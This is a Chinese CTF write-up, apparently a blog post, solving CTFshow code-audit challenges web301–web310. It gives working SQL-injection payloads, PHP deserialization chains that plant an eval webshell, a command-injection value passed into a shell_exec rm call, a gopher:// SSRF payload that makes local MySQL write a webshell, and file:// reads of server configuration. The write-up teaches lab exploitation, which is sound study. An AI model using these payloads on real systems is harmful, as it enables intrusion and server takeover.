CTFshow——代码审计

学习学习代码审计~


web301——SQL注入

将源码下载下来。主要看checklogin.php:

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
	$_SESSION['error']="1";
	header("location:login.php");
	return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}

strcasecmp(str1,str2):比较字符串
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

strcasecmp($userpwd,$row['sds_password']):意思是只要经过SQL执行后的结果等于我们输入的pwd即可登录
由于没有任何过滤,可以使用union注入

userid=-1' union select 1 from sds_user %23&userpwd=1




web301——SQL注入

修改了这里:

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

因为源代码中已经知道sds_decode()这个函数是怎么处理的了,所以照样可以伪造
运行一下:

<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}

$a='a';
echo sds_decode($a);
?>
//db89a0f46d92918f0b185d8fbfc19c03

传参:(注意这里的“db89…03”是要用引号引起来的,跟传数字是不一样的)

userid=' union select 'db89a0f46d92918f0b185d8fbfc19c03' from sds_user %23&userpwd=a




web303——报错注入

以admin:admin登录进去
注意到dpt.php页面的信息会提交到dptadd.php,抓包尝试一下堆叠注入,但一直回显报错不成功,既然有报错回显就尝试报错注入!
在这里插入图片描述
注意updatexml()回显有长度限制,最后要用substr()截取

dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=a' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=a' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g'),0x7e),1)#

dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=a' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_fl9g),1,30),0x7e),1)#

dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=a' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_fl9g),20,30),0x7e),1)#




web304——报错注入

咋也不知道他在哪儿进行了过滤,反正按上题的操作一样没问题




web305——反序列化、连接数据库

对比之下是多了关于反序列化的几行代码,而且也很好利用。就是借助file_put_contents写木马文件

<?php
class user{
	public $username;
	public $password;
	public function __construct(){
		$this->username='1.php';
		$this->password='<?php eval($_POST[1]);?>';
	}

echo urlencode(serialize(new user()));
?>
//O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

然后访问checklogin.php同时增加一个名为user的cookie
之后我们就可以进行PHP的任意代码执行了
方法一:代码执行
因为flag是存在MySQL中的,执行的代码也有点讲究。conn.php文件是连接数据库的文件,必须include

#POST:
1=include "conn.php";
$sql="select group_concat(flag) from sds_flabag "; //MySQL代码
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
print_r($row);

在这里插入图片描述

方法二:蚁剑连接数据库
连接数据库需要知道账号密码,这些需要到配置文件中找,这题就是去conn.php中找,找到之后
在这里插入图片描述
在这里插入图片描述




web306——反序列化

一些关键代码:

// index.php
<?php
session_start();
require "conn.php";
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));	//反序列化使用
if(!$user){
    header("location:login.php");
}



//class.php
class log{
	public $title='log.txt'; //
	public $info='';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}

}

//dao.php
class dao{
	private $config;
	private $conn;				//new log()

	public function __construct(){
		$this->config=new config();
		$this->init();
	}
	public function __destruct(){	//new log()
		$this->conn->close();
	}
}

class.php中的close()方法写文件,但只有dao.php中的__destruct()方法可以调用它。
其中反序列化的入口有两个:index.php和login.php。login.php中只包含了class.php,没有包含能调用方法的dao.php,所以不能在这里反序列化,只能到index.php反序列化

<?php
class log{
	public $title='1.php'; 
	public $info='<?php eval($_POST[1]);?>';
}

class dao{
	private $conn;
	function __construct(){
	    $this->conn=new log();
	}
}

$d =new dao();
echo base64_encode(serialize($d));
?>
//TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

将反序列化的内容方法到cookie中,自然跳转到index.php,再发刷新即可产生1.php
然后执行命令1=system("tac fl*");




web307——反序列化

这题一开始审计时没注意到class.php中的__destuct函数调用的不是之前的close方法,这次是closelog(),考眼瞎了,于是乎自己尝试之前的方法就造成一直跳转的情况。。。
因为class.php中变成了closelog(),似乎就用不了dao.php中dao类的__destruct方法了(也就是之前的方法完全行不通了)
卡了很久…然后在我认为最不可能利用到的logout.php中出现了不一样的东西

出现了一个clearCache(),且这个页面没有像:if(!isset($_SESSION['login']))的代码进行身份验证,这不是天助我也?

// logout.php
$service = unserialize(base64_decode($_COOKIE['service']));	//!!!!!
if($service){
	$service->clearCache();	//!!!!
}


// dao.php
class dao{
	private $config;

	public function __construct(){
		$this->config=new config();
	}
	
	public function  clearCache(){
		shell_exec('rm -rf ./'.$this->confdig->cache_dir.'/*');		//!!!
	}

}


// config.php
class config{
	public $cache_dir = 'cache';	//!!!!
}

通过上述关键代码就可以构造出序列化代码:

<?php

class dao{
	private $config;
    
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $cache_dir = ';ls ../ >1.txt;';//改代码   
    				   // nl ../* >1.txt
}
$d= new dao();
echo base64_encode(serialize($d));

?>

然后我们就访问反序列化的入口文件:/controller/logout.php注意不能少了/controller,具体原因看源码中的文件层次。在cookie中添加service的键值对。访问一下/controller/1.txt即可
在这里插入图片描述




web308——Gopher

对比之下发现多了个checkVersion()

//index.php
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $lastVersion=$service->checkVersion();
}

//dao.php
class dao{
	private $config;

	public function checkVersion(){
			return checkUpdate($this->config->update_url);
		}
}

//config.php
class config{
	private $mysql_username='root';
	private $mysql_password='';

	public $update_url = 'https://vip.ctf.show/version.txt';
}

//fun.php
function checkUpdate($url){
		$ch=curl_init();	

		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

注意到:curl_exec()
再注意到数据库的连接有用户名但没有密码private $mysql_password='';
可以确定这是要利用gopherus协议进行SSRF攻击打内网的MySQL
SSRF利用 Gopher 协议拓展攻击面

知道了大致利用方式,还有一个问题就是在index.php中在进行反序列化的代码之前有header("location:login.php");,苦于我当时以为跳转代码之后的代码都不会执行,于是误入歧途,在想怎么使$_SESSION['login']=1

明确一下:header后的PHP代码还会被执行。终止代码执行应该在后面加一个exit();或者die();

利用工具Gopherus生成一下payload:
在这里插入图片描述

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%44%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01

通过上面关键代码大致可以构造出序列化代码了:

<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%44%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01';
}

$d= new dao();
echo base64_encode(serialize($d));

?>

在这里插入图片描述
然后在新生成的1.php中执行代码




web309——SSRF、FastCGI

SSRF漏洞之FastCGI利用篇
mysql 有密码了,那么用gopher打MySQL是不行的了

这题看师傅们是利用打FastCGI的,结合gopher的fastcgi,通过一条延时命令的方式,可以很明显发现页面有延时,说明就是FastCGI了
在这里插入图片描述

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令

FastCGI攻击需要满足三个条件:
1. PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件
2. 知道题目环境中的一个PHP文件的绝对路径
3.PHP-FPM监听在本机9000端口

在这里插入图片描述
在这里插入图片描述



web310——Gopher、file:///

老方法用延时试试Fastcgi发现开启着。也发现了flag的位置但就是用命令读不出来
看师傅们是读取了nginx.conf这个配置文件,利用find命令搜索一下,发现了/etc/nginx/nginx.conf,很可能就是这个了

在这里插入图片描述
尝试用命令读取文件cat /etc/nginx/nginx.conf,还是读不出来

师傅们使用file协议的。。就可以读到

<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 'file:///etc/nginx/nginx.conf';}

$d= new dao();
echo base64_encode(serialize($d));

?>

得到下面一些关键内容:

	server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

发现4476这个端口是定向到/var/flag的,那么flag也应该就在这儿了

<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 'http://127.0.0.1:4476';}

$d= new dao();
echo base64_encode(serialize($d));

?>

在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值